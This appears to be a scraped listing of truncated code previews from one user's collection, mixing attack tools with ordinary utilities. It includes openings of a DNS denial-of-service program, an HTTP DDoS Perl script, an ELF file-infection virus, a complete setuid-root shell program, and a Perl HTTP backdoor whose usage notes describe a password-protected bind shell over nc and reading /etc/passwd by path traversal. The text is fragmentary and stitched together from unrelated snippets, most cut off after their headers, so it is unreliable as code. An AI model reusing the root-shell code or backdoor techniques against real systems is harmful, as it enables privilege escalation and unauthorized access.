fakessh

/*********************
sample dns dos attack
*********************/
#include<arpa/nameser.h>
#include<stdio.h>
#include<sys/types.h>
#include<string.h>
#include<sys/socket.h>
#include<unistd.h>
#include<stdlib.h>

fakessh

# sample httpd ddos
# perl script
     
#!/usr/bin/perl -w
     
use strict;
use warnings;
     
while()
       {

fakessh

;**************************************************************************** 
;                      Linux ELF file infection 
;**************************************************************************** 
; Compile with: 
;            nasm -f elf hole.asm -o hole.o 
;            gcc hole.o -o hole 
 
        section .text 
        global main 
 

fakessh

#include <unistd.h>

void main(void)
{

setuid(0);
setgid(0);		 	
execl("/bin/sh","sh",NULL); 	

}				

fakessh

/* compile with gcc -Wall -Wextra -ggdb -pedantic -o scantest scantest.c */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>

fakessh

/* gcc -Wall -Wextra -ggdb -pedantic -o tftpclient tftpclient.c */ 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>

fakessh

#!usr/bin/perl -w

# httpdbackdoor.pl Usage:
# 1. bind shell:
# nc target 8080
# ->SHELLPASSWORD{ENTER}{ENTER}
# 2. download files
# http://target:8080/file?/etc/passwd
# or
# http://target:8080/file?../some/file

fakessh

#========================================================
# But  : Connection SSH + commandes (scp ou autre)
# Args : Reference d'un hash
# Retourne : rien
# Besoin   : modules Net::SSH2
#==========================
sub CommandSSHFromWindows {
    unless ( scalar(@_) == 1 ) {
        my $usage = <<'FIN_USAGE';
     Usage: 

fakessh

#!/usr/bin/perl -w
## Always use warnings
#
# Run with no arguments for help
#
# This program scans a C-class subnet and prints the results to corresponding text file.
# If a computer has once answered the ping, it will not be added to the list again.
# To sort the output type 'perl scansub.pl sort <textfile>'

use strict;

fakessh

#include <stdio.h>
#include <stdlib.h>  /* pour utiliser getenv */

int main(void)
{
   char *path, *home, *nouveaupath;
   char assignation[150];
   path = getenv("PATH");
   home = getenv("HOME");
   printf("ancien PATH : %s\net HOME : %s\n",